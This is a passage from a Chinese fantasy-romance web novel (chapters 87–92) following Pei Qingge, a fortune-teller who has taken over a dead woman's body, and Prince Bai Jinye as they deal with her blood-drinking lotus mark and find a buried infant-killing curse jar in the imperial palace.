白锦夜没说话,迈步往九思院走。 左辞想着反正也追不上裴清歌了,就跟着白锦夜往回走,他纠结半响,才低声道,“王爷,王妃说……要搬出王府,去挂摊那店里住。” 白锦夜看了他一眼,“什么时候?” “也没说什么时候,那边不是还在装修么?”左辞说着看了看白锦夜的脸色,“看王爷,王爷要是不想让王妃搬出去,那属下就让那边多装修些日子。” 白锦夜垂下眸,没说话。 左辞思虑了一会,又劝道,“王爷,其实王妃人也挺好,她刚到王府的时候,咱们对她有误会,但王妃好像也没跟咱们计较什么,裴靖本来对王妃也不好,现在裴夫人和裴靖也和离了,要是王妃从王府搬出去,连个依仗都没有了。” 白锦夜停下脚步,挥了挥手,让何知先下去了,才看向左辞,“你想说什么就直说。” “王爷不如考虑考虑,别再跟王妃僵持着了。”左辞心中默默的叹了口气,刚才两个人在门口遇到,连个招呼都不打,陌生人也不过如此了。 白锦夜沉默了半响,只是说,“左辞,本王活不了多久了。” “呸呸呸,王爷净乱说,就算王爷你活不过今年,那不是还有王妃呢么?之前王爷伤重成那样,王妃都能救了你,肯定没事的。”左辞赶紧道。 白锦夜转头看向左辞,“本王活不过今年?”这件事他早就知道,虽然之前做过一些打算和安排,但他也没跟任何人说过。 左辞捂了下嘴,半响才在白锦夜的目光压迫之下低声道,“王妃说……说看过你的命,活不过二十二岁,那……那不就是今年么?王爷,王妃肯定不是诅咒你,她说的肯定是真的,她算卦挺准的,要不……你再让她算算看看有没有缓?” 白锦夜收回目光,继续往前走了几步,才问,“她还说什么了?” 左辞挠了挠头,“没说什么了。” “到年底也不过就剩三个多月,又何必做些无谓的事?”白锦夜垂眸往前走。 左辞撇了撇嘴,低声道,“王爷要娶裴玲珑的时候还挺积极的,难道如果真的娶回来的是裴玲珑也这么晾着么?” 第87章 你当时不知多委屈 白锦夜闻言,脚步再次停了下来,他转身看着左辞,“左辞,你以后就去跟着裴清歌,不必再到本王面前了。” 左辞微微瞪大了眼睛,不可置信地看着白锦夜,“王爷,属下……你知道属下只是喜欢说实话而已,属下就是嘴欠,你不是因为这个就要把属下赶走吧?” “内务有杨意处理,本王出去办事可以带着何知,练兵的事也有司空。既然她要搬出去,身边也不能没有趁手的人,你就跟她一起去吧。”白锦夜继续道。 左辞哭丧着一张脸,“王爷,你这真是要把属下赶出去啊?” “你要是不愿意,就让何知去。”白锦夜微微皱了下眉头,看着左辞一副天快塌下来的样子有点无奈。 左辞疑惑地看着白锦夜,看了半响,也没在他的脸上看出丝毫怒意,所以他只是单纯的这么安排,不是因为跟自己生气?“那还是属下去吧,属下跟了王妃一段时间,比何知熟悉些。” 白锦夜没再说话,摆了摆手,示意左辞离开。 回到九思院,他躺在榻上也毫无睡意,最后还是给自己下了点安睡的药,才终于睡了过去。 他向来晚睡,尤其是晚上会变身冥尸之后,基本上也都是躺在榻上看书,到了子时,人事不知,等天亮自然醒来。 不过也不知道为何,平时仿佛也没有太多的睡意,白天也不知困倦。 他似乎很久都没感受到睡觉的感觉了。 等他睡醒的时候,已经是傍晚了。 他揉着眉心坐起身,一时间有点恍惚,甚至分不清傍晚还是清晨。 听到房间里有声音,何知也就进了门,“王爷。” 白锦夜应了一声,“王妃回来了么?” 何知怔了一下,也没想到白锦夜睡觉醒了会先问起裴清歌,只能直言,“属下不知,属下派人去梧桐院问问。” “她回来着人通知本王一声。”白锦夜也不知道自己睡这觉是不是真的管用,但想知道结果,也就只能问裴清歌了。 * 裴清歌下午还遇到几个魂魄没离体的人,找到最后一个的时候,她还没写路引,那人的魂魄就离开了。 之后她又查了快两个时辰,也再没找到一个,看样子是都没有了。 不知道什么原因突然出现一批困笼蜮,然后又不知道什么原因全都消失了。 裴清歌拧着眉往王府走,怎么都想不通这事。 刚进王府大门,门房就赶紧走出来,“王妃,王爷等您许久了,何大人说您要是回来,就去九思院。” 王妃入府不少日子了,跟王爷之间平淡如水,这些下人也都看在眼里。 听说王爷今日午睡了片刻,醒来后就在找王妃,这消息几乎瞬间传遍了王府。 现在所有人都知道了。 能第一时间看到裴清歌回来的,自然就是门房,所以他一见到她进门,就立刻跟她说这事,生怕耽搁了王爷见王妃的时间。 “他等我?”裴清歌眉头皱得更紧,不知道白锦夜要干什么,纠结了半响,才往九思院走。 九思院这边刚传了膳,白锦夜还没拿起筷子,就见裴清歌进了门。 他向来也没有留人伺候自己用膳的习惯,堂上只有他和裴清歌,一时还有点尴尬,他清了清嗓子才问,“要一起用膳么?” 裴清歌确实饿了,想着回了梧桐院,再等厨房送吃的过来,不知道要多久了,于是也没跟白锦夜客气,就坐了下来,“你找我有事?” “听左辞说,你这两天都在忙?”白锦夜开口问道。 “嗯。”裴清歌点点头,“不过暂时已经没事了,这两天我会再到处看看。” 白锦夜听她这么说,也就放了心,看来下午的觉没白睡,他想着拿起筷子,便见裴清歌摘下了面纱,他的手指微微顿了下,“你的脸……好多了。” 裴清歌抬眼看他,“鬼卿带来的药见了些效果,不过大概也就这样了,很难完全恢复。” 白锦夜应了一声,还想说什么,见裴清歌已经开始吃饭了,甚至有些狼吞虎咽的模样,显然是饿坏了,也就没再说话。 裴清歌吃完,见白锦夜还在细嚼慢咽地吃着,她擦了擦嘴,“王爷还有别的事么?没有我要回去歇着了。” “你先等等。”白锦夜犹豫了下开口道。 裴清歌也就没动,靠在椅背上歇肚子。 等白锦夜吃完饭,叫人撤了膳,他才起身走到后堂,没一会拿了一个木匣子出来,他把木匣子放在裴清歌面前的桌子上,“这是王妃的金册金印,至于玉碟,照例每年大年初一开一次,或者是诞下嫡长子才会开玉碟。本王会禀明皇兄,等明年初一的时候,给你上玉碟。” 那时,他怕是也不在了。 裴清歌倒是没想到,白锦夜找她是为了这事。 当初她要这些,是存了别的心思,是见白锦夜命短,考虑到北冥国的边防,才想借着王妃的身份,控制白锦夜的势力。 但是如今……师父让她不要再回北冥国,这天风国的麻烦事一茬接着一茬,规矩又多,她要是插手白锦夜的势力,将来不知道有多烦心。 况且她现在的主要目的是恢复实力、找到师父,带着个王府就显得累赘了。 微微抿了抿唇,裴清歌抬手把木匣子推了回去,“那会我随便说说,王爷不必当真,就算没有这些,我也不会不管张太妃。” “你毕竟是王妃,这些也该是你的。”白锦夜皱起眉头。 裴清歌沉默了会,“王爷,你我没有父母之命,也没有媒妁之言,你向皇上求娶的是裴玲珑,花轿进门,与你拜堂的也是裴玲珑。这些……也不该是我的。”她说完起了身,迈步要走。 白锦夜抬手抓住她的胳膊,“但与本王洞房的是你。” 裴清歌想说其实也不是她,对视了半响,她轻轻叹了口气,只是说,“王爷,你被人下了药,我也被人下了药。你误以为下药的是我,跟我洞房,你当时不知多委屈。” “但若是没有那一遭,说不定我就是嫁个普通的人,平平凡凡过一辈子,又或者就算嫁不出去,一个人做点自己想做的事情,也没什么不好。” “也不至于摊上这些糟心的事,甚至马上就要做一个寡妇。” “听说皇家也有规矩,王妃是不准改嫁的,我继续留在这,年纪轻轻的,未来几十年都得给你守寡,我也很委屈呢。” 第88章 只有冥尸才能守住我的秘密 白锦夜放开手,手指落在木匣上,慢慢地把木匣移回到自己面前,“你说的是,没必要留下来给本王守寡。” “没有父母之命,没有媒妁之言,也没有……拜堂成亲,甚至不需要和离书、放妻书,你与本王可以没有任何关系。” 裴清歌没再说话,转身迈步往外走。 走到门口,白锦夜又突然开口道,“本王确实生气过发怒过,但是,裴清歌,本王没有觉得委屈。” 裴清歌的脚步停了下来,这番话,白锦夜要说的对象不应该是她,只是原主也听不到了,她看着门外的夜色,沉默良久,才开口道,“我不是裴清歌,那天晚上,裴清歌就已经死了。” 说完她才转身看向白锦夜,“不过这件事,你也不必太挂怀,我查看过她割腕的伤口,不深,不致死,也没有流太多的血,只是……时间到了而已。” 师父说延了原主三年阳寿,等到把她引来。 当时她在月城殒命,这一切若都是师父的安排,那么那天晚上无论如何,原主都是会死的。 即便没有白锦夜,没有那些事情,她的寿命也到了。 只不过恰好是白锦夜大婚那天而已。 白锦夜垂下眼,“到底是因本王而起……” “呃!” 他的话还没说完,就听裴清歌闷哼一声,跌倒在地上,他赶紧上前几步,蹲下看着她,“你怎么了?” 裴清歌也不知道自己怎么了,突然从心底蔓延出一丝疼痛,然后瞬间就疼到四肢百骸,她蜷缩在地上,双手紧紧地握成拳,不知道该怎么缓解,可疼痛却在持续加剧,豆大的汗珠瞬间就布满了她的额头。 白锦夜见她连话都说不出来,顿了会,抬手把她抱起来,往内堂走,又叫人去通知府医赶紧过来。 裴清歌在床上缩成一团,疼出来的汗水几乎打湿了衣襟。 丁大夫很快就来了,迅速的上前给裴清歌诊脉,可摸了半响,最后哭丧着脸看向白锦夜,“王爷,王爷这……这摸不到脉啊。” 白锦夜拧着眉,沉默了会,叫了何知进来,“去衡王府请陆绝过来。” “不用。”裴清歌突然抬起手,抓住白锦夜的衣襟,“血,血。” “什么?”她的声音太微弱,又带着几丝颤抖,白锦夜没听清。 “王妃好像说……血?”丁大夫想了想猜道。 白锦夜转头看了丁大夫一眼,眸色沉了沉,她不是裴清歌,她只是在裴清歌的身体上借尸还魂,难道和肉尸、冥尸一类的差不多,也需要人血么?他摆了摆手,示意何知和丁大夫出去。 等门关上了,他才重新看向裴清歌,“什么血?只要是血就行还是……人血?” “你的。”裴清歌已经疼到快要没办法呼吸,吐字出来都极其艰难,眼前甚至一阵阵发白,感觉自己马上就要昏厥。 白锦夜微微皱了下眉头,抽出匕首割破了自己的掌心,然后把血喂到裴清歌的嘴边。 裴清歌抓住他的手腕,塞到自己的衣领下,把他的掌心按在了肩头。 血莲碰到血,就开始吸收。 随着血莲吸血,裴清歌身体的疼痛也在慢慢消失。 她曾经听师父说过,身上有血莲的人,但凡还有一口气在,只要血莲还能吸血,就绝对不会死。 这大概也是血莲护主的一种方式。 她不知道自己怎么了,但是只要有血莲,起码是能保命的。 她闭上眼睛,她以前也没听过什么死后魂魄在别人身上重生的事,难道是身体和灵魂产生了排斥? 疼痛消失,一阵疲意窜上来,裴清歌甚至没来得及有什么其他的反应,就直接沉睡了过去了。 白锦夜坐在床边,垂眸看着裴清歌,她似乎已经也没有那么难受了,身体不再颤抖,呼吸也慢慢平稳下来。 他的目光又移到裴清歌的肩上,他的血流出来,就全都被她的身体吸收。 那些血在她的肩后汇聚,隐隐的,他看到她的衣领下面,似乎是有一个什么图案,像是花瓣。 他微皱了下眉,抬起另一只手,轻轻地掀开她的衣领。 在她的肩膀上,是一朵红色的莲花,吸收他的血的,便是这莲花印迹。 甚至随着吸血,莲花的花瓣在慢慢舒展,像是要盛开一样。 但最终也只是从花骨朵变成了含苞待放,就停了下来。 他的血再流出来,也没有被吸收了。 白锦夜收回手,包扎好伤口,又洗了帕子,把裴清歌肩头多余的血擦拭掉。 他微微抿了抿唇,这荷花花瓣的纹理都清晰可见,活灵活现,就像是真的一样。 这朵红色的莲花,还有紫莲戒。 白锦夜眯起眼,这背后到底是什么? * 虽然白锦夜说了让左辞不用再出现在他面前,但是听说裴清歌来了九思院,又一直没出去之后,他还是舔着脸来了九思院。 何知守在房外,虽然什么都看不见,但左辞还是尝试着往房间里张望一眼,低声问,“王妃还在?” 何知点点头,“王妃好像身体不舒服,丁大夫来过,也没看出什么来,之前还能听到声音,这一会也没动静了。” 左辞嘿嘿笑了两声,“要是王妃还是不舒服,王爷肯定着人去请御医了,这么半天没动静,应该是好了。而且这眼看着子时都过了,王爷王妃也该睡了,走,咱们去喝酒。” 何知皱起眉,“王爷没吩咐,我还是在这守着,万一一会有什么事……” “不会的。”左辞一把搂住何知的脖子,“能有什么事?王爷和王妃同房,就是天大的喜事,走吧,去喝酒。”说完拉着不情不愿的何知往外走,出了门才低声道,“你可真是个没眼力见的,人家两夫妻在房间里,你在门口守个什么劲儿?” 何知顿了半响只是说,“王妃是真的不舒服。” 左辞懒得搭理他,奔着厨房就去找酒找肉。 * 白锦夜猛地惊醒的时候,天已经亮了,他赶紧起了身,往旁边退了退,昨晚他本来在看裴清歌肩头的莲花,忘记了时间,到了子时,突然就没了知觉。 他的动作也吵醒了裴清歌,裴清歌睁开眼,像是想了半天才清楚状况,她抬手拉起自己的衣服,盖住肩头的血莲。 她清楚的记得昨天只是把白锦夜的手放到衣领下,可没有掀开自己的衣服。 显然是自己昏睡过去之后,白锦夜已经看过血莲了。 她眼底掠过一抹凉意,转头看向白锦夜,“大概只有把你彻底变成冥尸,我才能放心你不会把我的秘密说出去。” 第89章 来都来了,算一卦呗 白锦夜已经退到了床尾,他看着裴清歌,“本王本来也不会把你的事说出去。” “我可不信。”裴清歌上前拽开他的衣襟,随手一抹,他胸口的阵法就显现出来。 在阵法的最中间,是一小片空白。 这是最后一个阵法,这个阵法写完,白锦夜就会彻底地变成冥尸。 “裴清歌。”白锦夜抬手抓住她的手腕,“你需要人血这件事,本王不会跟任何人说。” 裴清歌看着他没有说话。 白锦夜微微皱起眉头,目光落在她的肩膀上,隔了会才道,“本王……本王也不可能跟别人说你身上有什么印迹。” 他说着脸色微红,甚至别开了眼,有些窘迫地看向别处。 裴清歌微微皱了下眉,按照一直以来白锦夜对她的态度,不像是会好好讲道理的模样,可眼下他也没有行为上的反抗,她沉默了会,盯着他问,“你脸红什么?” “本王……” 白锦夜的话还没说,房门就被人敲响,丫鬟端着水盆走了进来。 “王爷,时辰不早了,奴婢伺候您洗漱,该去上朝了。”丫鬟说着话,也偷偷地往榻上瞄了一眼。 白锦夜也就借着机会回避了刚才的问题,“本王要去上朝了,有什么事,等上朝回来再说吧。” 裴清歌抓着他的手也没放开,“白锦夜,昨天晚上的事,无论哪一件都不准跟任何人说,不然我不会放过你。” “知道了。”白锦夜点点头,先放开了她的手腕。 裴清歌顿了会,才放开手。 丫鬟伺候白锦夜洗漱完,就迅速的离开了。 没走多远,就被左辞拉到没人的角落里,“王爷和王妃怎么样?你进去的时候他们在干什么?” 丫鬟脸上有些羞赧,看了看四下没人,才低声道,“我也不敢仔细看,反正……他们靠在一起,挺亲密的,王妃好像……要脱王爷的衣服,王爷被王妃堵在床尾,脸都羞红了。” 左辞呷了呷嘴,“咱们王爷在战场上英勇无畏的,没想到原来不喜欢主动啊。” 丫鬟羞红了脸,端着水盆快步跑了。 白锦夜出门的时候,就见到左辞一脸“好事”地站在九思院门口,他扫了他一眼,“不是说没什么事不用往本王面前跑了?” “属下没有啊。”左辞一脸无辜地看着他,“属下在等王妃啊,王爷,你说不让属下往你面前跑,结果你又把王妃召来九思院,难道王爷是故意想要降罪属下?属下愚笨,还请王爷明示。” 白锦夜瞪了他一眼,懒得搭理他,径直走了。 左辞笑着看着他离开的背影,然后专注地站在外面等裴清歌。 困笼蜮已经没有了,于是裴清歌就去挂摊上算卦。 快傍晚的时候,就只剩下了最后一个客人,裴清歌本打算看完这个就回去了,结果左辞一下子站起来,看着不远处走过来的两个人,王爷怎么来了?难道是来接王妃回去的? 左辞想着也一脸的姨母笑,王爷总算是开窍了。 只是两个人走近了,白锦夜却微微落后了一步,倒是白墨直接坐在了裴清歌的对面,“先生,我来算卦。” 裴清歌微微挑了下眉,“你算什么?” 白墨挠了挠头,有些不好意思地道,“我想算算姻缘。” 裴清歌瞥了一眼站在白墨身后,一脸事不关己的白锦夜,才道,“公子看着年纪不大,怎么急着看姻缘?” “我去年遇到一个姑娘,可惜不知她姓甚名谁,之后也再没有遇到过,我想看看,我和这位姑娘是否有缘。”白墨笑道。 裴清歌了然,让他掷了铜板,看了看卦象,他的这挂象清晰,简单来说就是没戏,“我要是没算错,你遇到的这女子,已经成婚了,你们俩没缘份。” 白墨闻言,脸上没有失落,反倒是满满的惊讶,“天呐,真的能算出来?”他说着转头看向白锦夜,“皇兄,你看我就说他算得极准吧?我什么都没说啊,来的路上我可是都告诉你了,你现在相信了吧?” 白锦夜微微拧着眉,他本来也没说不相信,是白墨听说这边有个人算卦特别灵,非要来凑热闹,他当然知道是裴清歌,本来不想来,结果白墨就误认为是他不相信。 白墨站起身,拉着白锦夜坐下,“皇兄,你快也算算。” “我没什么要算的。”白锦夜说着要离开。 白墨按住他,“也不是外人,这是左总管的表弟,就算算嘛。” 左辞抿着唇,低下头,强忍住笑之后又抬头看向白锦夜,“是啊,王爷,属下的表弟算卦蛮准的,什么都能算,来都来了,算一卦呗。” “皇兄你要是不知道算什么,那我帮你想。”白墨说着顿了顿,“不如算算子嗣吧,皇兄,你和皇嫂成亲也有段日子了,皇嫂还没动静,不如算算这个?” 白墨这句话一说,左辞差点就笑场了,让裴清歌亲自来给白锦夜算子嗣?想想都要笑出声。 白锦夜沉默了一会,左右他没有多久的命,也不可能会有子嗣,算算这个倒也无碍,“行,那就算这个吧。” 白墨确实不知道裴清歌的身份,但左辞显然是看热闹不嫌事大,在这添油加醋的,裴清歌转头看了一眼左辞,眼里带着几丝无奈。 左辞本来还在忍笑,可是看到裴清歌这个眼神,突然怔了一下想明白了什么。 裴清歌说过,王爷活不过今年,那现在算子嗣,这不是故意找堵么? 他脸上的笑容一下子就僵了,赶紧说,“九皇子,王爷和王妃新婚燕尔的,哪就那么快生孩子?算算别的吧,比如……”左辞说着绞尽脑汁地想着,不知道要算什么,才能规避掉王爷活不过今年这件事。 “就这个吧。”白锦夜说着拿起铜板,“算算本王有没有子嗣。” 左辞看着他都快哭了,抬手在桌子下面偷偷拉了拉裴清歌衣角,希望她能捡点好听的说。 裴清歌倒是没什么为难的,她既然算卦,就不会骗人,不然给了别人念想,最后竹篮子打水一场空,不是更难受么? 没有希望才不会失望。 白锦夜摇好了卦。 裴清歌看着卦象,微微皱起眉头。 第90章 人都是没办法了,才会求神问鬼 “这卦不好算么?”白锦夜看着裴清歌眉心蹙起,便开口问道,“不然就算了吧。” “没事。”裴清歌抿了抿唇,“是晋变未济卦,酉金持世,于酉月身旺,用神子孙伏于未土之下,恰临日令可出伏,此象为有子。” “有子?”左辞这几天一直听裴清歌算卦,虽然很多还是听不懂,但他已经学会了挑重点的听,“这卦象是显示王爷会有子嗣?” 白墨看着一惊一乍的左辞,难道白锦夜有子嗣不是很正常么?他这主要不是想看看,白锦夜什么时候会有孩子,有几个孩子么?“左总管,有子嗣不应该么?你怎么这么激动?” 左辞这会可没时间理会白墨的问题,他只是想着,如果这样的话,那也就说王爷可能不会死了。 他立刻喜上眉梢,果然,只要王爷和王妃感情融洽,王妃是绝对不会对王爷的事坐视不管的。 王妃这么厉害,肯定能救王爷。 裴清歌顿了顿,又继续道,“但官鬼巳火独动克身,此象为有劫,官劫,好在贵人未土在应,生身耗火,又见独动之鬼临腾蛇受月克,终归虚惊一场。” 看完卦象,她才抬眼看向白锦夜,“就是说,会有子嗣,但是也有劫难,这劫难来自王爷的在朝堂之上的敌人,当然也可能是其他国家的敌人。不过也有贵人相助,最终劫难可消,子嗣平安。” “太好了,太好了。”左辞激动得直搓手。 “好什么好?”白墨皱起眉头,“虽然最后平安,可是……中间有劫,这一不小心的事,说不定就要一尸两命。” “呸呸呸。”左辞赶紧呸了几下,“九皇子,千万不要乱说,王爷福泽深厚,王妃……王妃本事也大得很,怎么可能会……呸呸呸,不可能,你没听王……没听我表弟说嘛,会有贵人相助,子嗣平安。” “子嗣平安。”白墨顿了顿才又问,“那王妃呢?” 白锦夜转头看向白墨,眉心轻蹙。 “皇兄你别生气,我的意思就是……我从小就听宫里的嬷嬷说,生孩子都是鬼门关前走一遭,这毕竟有劫难,万一……”白墨说着顿了顿,又看向裴清歌,“你能看出来这生孩子的人会怎么样么?” “一事一问。”裴清歌说着把铜板一个个的捡起来,“想看别的,要另外起卦。”说完她抬眼看了看天色,“不过今天时候不早了,我要收摊了。王爷和九皇子还想算,就改日再来吧” 白锦夜看着裴清歌,按照她刚才算这两卦的速度,其实也用不了多长时间,但显然她不想再算了。 他微微皱了下眉头,有白墨和左辞在,他想说什么也不方便,于是就先起了身。 正要走,便见裴清歌对他伸出手,“卦金。” 左辞低头摸了摸鼻子,假装什么都没听见。 白锦夜掏出一锭金子,放在裴清歌的手心。 裴清歌也不客气,直接收下,她算卦是没有固定卦金的,十文起算,剩下的全凭算卦人的心思,有钱的多给点,没钱的十文也就够了。 她本身也是需要通过这些来恢复实力,所以大部分时候也就是象征性的收一下。 但开门做生意也得盈利,像是白锦夜这种有钱的客户,她也不会手软。 收了挂摊,裴清歌回王府刚一进后门,就见到白锦夜站在不远处的池塘边。 她脚步顿了顿,白锦夜向来少来后院,他特意等在这,显然是还有话要问自己。 听到进门的声音,白锦夜也转过了身,犹豫了下,往前走过来。 这在左辞看来,就是王爷在这等王妃回家,他再呆下去就碍事了,于是赶紧悄悄的退下了。 “如果关于卦象的事,你有问题,我也只能说,卦象上显示什么,我就说什么。”裴清歌看着他。 白锦夜垂眸片刻,才开口问,“是你么?” “这我就不知道了。”裴清歌摊了摊手,“看出来的,都已经说了。” 白锦夜沉默了会,又问,“之前,你不是和左辞说,本王活不过今年么?” “我算的卦不会有错。”顿了顿,裴清歌又道,“可能王爷有什么际遇,能躲过年底的大劫吧,不过……王爷现在不是还没死么?遗腹子也说不定。” 白锦夜没再说话。 “王爷,命里有时终须有,命里无时莫强求。”裴清歌看着他笑道,“其实大多时候,人都是没办法了,才求神问鬼,王爷就当是个心里安慰吧。” “你给自己算过么?”白锦夜跟着裴清歌一边往梧桐院走,一边开口问道。 “没有。”裴清歌说着微微皱了下眉,“我给自己只算吉凶,不算命。有些事情提前知道,也不见得是好事。有些时候,越是想要避免一件事的发生,往往会弄巧成拙,反倒促成了这件事的发生,我觉得,顺其自然就好。” “顺其自然。”白锦夜低声重复了一遍裴清歌的话,“你倒是看得开。” “不然呢?”裴清歌侧头看他,“就像你,知道自己活不久,改变不了这结果的话,又能怎么样呢?” “起码能提前把左辞他们这些人安顿好。”白锦夜叹了口气,“皇兄性子柔,父皇离世前把虎符交给本王,让本王去做皇兄下不了手做的那些事,这些年本王树敌不少,确实也会给身边的人带来劫难。” 他说着脚步停下了,想到了什么,又问,“怎么这两日不见鬼卿?” “我让他出去办事了。”裴清歌微微挑了下眉,“王爷对他感兴趣?” 白锦夜没有回答这个问题,反而问道,“你会经常控制他么?” “我从来没有控制过他。”裴清歌轻笑道,“我之前跟你说过,我把他炼制成冥尸,是为了让他活下来,不是为了被我控制。” 白锦夜背在身后的手轻轻地捏了下,“如果……本王彻底成了冥尸,你会像对鬼卿这样,给他所有的自由,还是会控制本王?” 第91章 噬婴蜮 裴清歌抬头看着白锦夜,认真地揣摩了下他这句话背后的意思,沉默了会才道,“人活着,生老病死都是命数,王爷别太勉强了。” 她说着往前走了几步,又想起什么,转身折回来,“不过你要真是想好了,我可以帮你,只要你以后不做伤天害理之事,也不……也不伤害我在乎的人和我在乎的东西,我也不会控制你。将来等我离开,你也不用担心再有控制这种事。” “只不过成了冥尸,不老不死,到时候你会看着你身边所有在乎的人都逐渐的离开你,也许也是一种折磨。” “不过不管怎么样,你自己决定。” 说完,裴清歌没再停留,回了梧桐院。 白锦夜也没再跟上来,在原地站了良久,才转身往九思院走。 * 第二日,宫里来了帖子,请京中的各位皇亲国戚于中秋之日入宫参加赏月宴。 裴清歌甚至还单独收到了一张和月如送来的帖子。 她把帖子拿在手里把玩着,那枚假的紫莲戒已经给和月如送过去好几天了,这些天她再没什么动静,大概是在研究。 但一个假的戒指,能研究出什么来呢? 裴清歌随手把帖子扔在桌子上,抬眼看向左辞,“这宫里的赏月宴,有什么好玩的么?” 左辞认真地想了半天,才回道,“王妃,王爷也多年不在京中了,他以前参加赏月宴,那会属下还没跟着他呢,实在是不知道有什么好玩的,不然去问问张嬷嬷?” “我感觉应该没什么好玩的。”裴清歌叹了口气,“还不如摆摊赚钱。” “但这中秋是团圆宴,王妃理应跟王爷一起进宫的。”左辞说着顿了下,“店面中秋后就能装修好了,这几天不如王妃也歇歇,中秋后说不定就更忙了。” “二楼能住人了?”裴清歌开口问。 左辞点点头,“属下昨日看了,瞧着还不错。”他说着垂下眼,他可是特意吩咐给裴清歌的房间安排了一张双人雕花的红木大床,王妃不回王府,王爷还不能去么? 裴清歌撑着下巴,“行,那就等中秋后吧。” * 中秋节当天的午后,裴清歌跟白锦夜一起进了宫。 白锦夜去见皇上,裴清歌只能不情不愿地去了皇后的宫里。 她这才知道,前几天和月如就称病,太医说是起了会传染的疹子,于是这些日子她都在自己的宫里连门都不出。 皇上也觉得皇后思过的时间足够久了,况且这中秋赏月宴皇后无论如何都该露面,所以六宫之事就重新回到了皇后的手里。 裴清歌觉得这称病是假,八成是专心在宫里研究紫莲戒呢。 皇后那边也不待见她,自坐下之后,皇后看也不看她一眼,倒是对其他人很亲近。 裴清歌也不在意,反正她也不愿意跟她们寒暄,闲着无聊,想起上次御鬼的法阵,于是便遣了几只鬼在宫里到处转。 蓦地,裴清歌微微挑了下眉,站起身,看向云月宁,“皇后,我想出去走走,你要派个嬷嬷给我带路么?” 云月宁不快地扫了裴清歌一眼,她根本就没有给裴清歌下帖子,可听说是和月如给她送了帖子,自己叫来的人,自己现在称病不管了,再想起上次的事,她才懒得管。 “肃亲王妃若是先这里闷,便自便吧,今日宫中事多,本宫身边的嬷嬷都腾不开身,王妃切勿乱走,酉时一刻记得准时到麟德殿赴宴。” 裴清歌笑了笑,微微福了福身,转身出了门。 在小花园里走了一段,见确实没人跟着自己,就迅速的闪身走进一条小路。 有熟悉道路的太监魂魄带路,裴清歌一路上都避开了其他人,弯弯绕绕,到了皇宫西北角的一个小院子。 这院子偏僻又荒芜,大概就是冷宫了。 裴清歌纵身一跃,跳上院墙,微微探出头,看着院子里的人。 宫里的中秋宴,不知道陆绝怎么会来? 裴清歌皱了下眉头,想起上次白锦夜让何知去衡王府请陆绝的事,所以现在陆绝是给衡王效命了? 她微微挑了下眉,看着陆绝在院子里忙活了半响,然后四下看了看,转身从另外一个小门离开了。 她正要从墙上跳下,突然被人拉住了胳膊,一转头,便见到不知道什么时候白锦夜也来了。 白锦夜对她比了个噤声的手势,目光就重新回到院子里。 裴清歌沉默了下,又重新趴在院墙上。 差不多过了一盏茶的功夫,便见陆绝又从那个小门走回来,四处查看一圈,见没什么异状,这才从院子的正门离开。 等他走远了,白锦夜率先跳下院墙。 裴清歌也跟着跳下来,一边往陆绝刚才忙活的地方走,一边低声道,“你对他可真够了解的。” “陆绝向来谨慎。”白锦夜跟在裴清歌身后。 裴清歌正要弯腰查看,突然神色一凛,拉着白锦夜迅速的躲进房角和院墙的缝隙,没一会就见陆绝又重新走了进来。 他像是发现了什么四处查看半响,又像是有什么想不通,在原地站了好一会,才重新离开。 这一次裴清歌没有动,遣着刚才领路来的太监魂魄跟着陆绝走了老远,确定他不会再回来,才从夹缝里走出来,她拍了拍身上蹭上的灰土,“不过看样子还不够了解。” 白锦夜拧着眉,“让他这么在意又警惕的,不知道是什么?” 裴清歌走过去,从旁边捡了根树枝,把浮土拨开,又挖了会,便见到了一个坛子。 坛子上面,粘着几张符咒,这坛子像是已经在这里埋了很久,上面沾了不少泥土,还有的地方长了些青苔。 但是符咒却是新加上去的。 看样子陆绝是来加固的。 裴清歌在原地蹲下,看着坛子上面的符咒,眼里闪过一抹鄙夷,才问,“皇上今年多大了?可有子嗣?” “皇兄长本王五岁,至今无子。”白锦夜回道,顿了顿又补充,“前几年有个妃子诞下个公主,但未满月就夭折了,其余的,即便有孕,也没有能保住胎的。” “呵。”裴清歌轻笑一声,用木枝轻轻地戳着坛子上面的符咒,“不知道你皇兄是得罪谁了,有人想让他断子绝孙呢。” 说完裴清歌抬眼看向白锦夜,“这陆绝可是王爷带回京的,如今又在衡王身边,将来东窗事发,自然是你们兄弟阋墙,而陆绝身后的人却可以全身而退。” 白锦夜的脸色微沉,垂眸看着面前的坛子,“这是什么?” 裴清歌微微眯了眯眼,“噬婴蜮。” 第92章 我今天跟你说的已经够多了 裴清歌说完,用木枝挑开了最上面陆绝刚贴好的新的符咒,露出下面一层又一层已经褪色了看不清上面画了什么的符纸。 看了会,她抬眼看向白锦夜,“你把这坛子打开。” 白锦夜皱了下眉,看了看周围也没什么趁手的工具,再看这坛子口也不算是太脏,于是就蹲下来伸手撕掉了那些符纸,符纸下面,盖住坛口的,像是浸了油的布,他犹豫了下,还是拽掉了布塞。 坛子里面黑乎乎的,不知道原来装过什么,但是都已经干涸的看不出原来的样子。 裴清歌这才冷笑道,“这是极其阴损的术法。快降生的胎儿才会有魂魄,在女子临盆的时候,不让婴儿出生,当婴儿在母体里憋死之后,拘了婴儿的魂魄,再把母体的子宫、胎盘和魂魄一起封印在这坛子里,用婴儿的尸体炼化的尸油封印住坛口……” “尸油?!”白锦夜抬眼瞪着裴清歌,又看着自己刚才因为拽布塞蹭在手上的油污,脸色瞬间漆黑。 裴清歌看着他点点头,“是啊,这婴儿的魂魄,还没什么理智,每日看着自己尸体炼化的尸油,怨气逐渐加深,然后就会出去寻找类似的身体试图进入。” “不过婴儿的魂魄到底弱小,在外面待不了多久,也走不了太远,就得回到这坛子里靠母体的子宫和胎盘温养。所以这噬婴蜮针对的,就是这宫里的后妃。” “那些刚成型的胎儿和刚出生的婴儿受不了这种侵袭,自然活不下来。” 白锦夜用没碰过坛子的手从袖袋里拽出手帕,仔细又用力地擦着手上的尸油,一句话都不想说。 他觉得裴清歌肯定是故意的,明知道那是什么,不提前说,让他去打开,就是故意想看他蹭一手的尸油。 裴清歌看着他的动作和表情,摊了摊手,“我可没害你,像你和鬼卿,若是没有外力介入,不变成冥尸,早就该死了。如今还能活着,就得多做善事积德。鬼卿每年都有一个月的时间,专门去超度各种亡魂、去救死扶伤。” “你也一样,你放了这冤魂,也算是积德。” 她说完从袖袋里拿出一道符,点燃,在坛口绕了一圈,轻念了几句,然后把符扔在一边,站起身,用脚拨了拨土,重新把坛子埋好。 听了裴清歌的解释,白锦夜微微抿了下唇,擦手的动作慢下来,抬眼看着裴清歌。 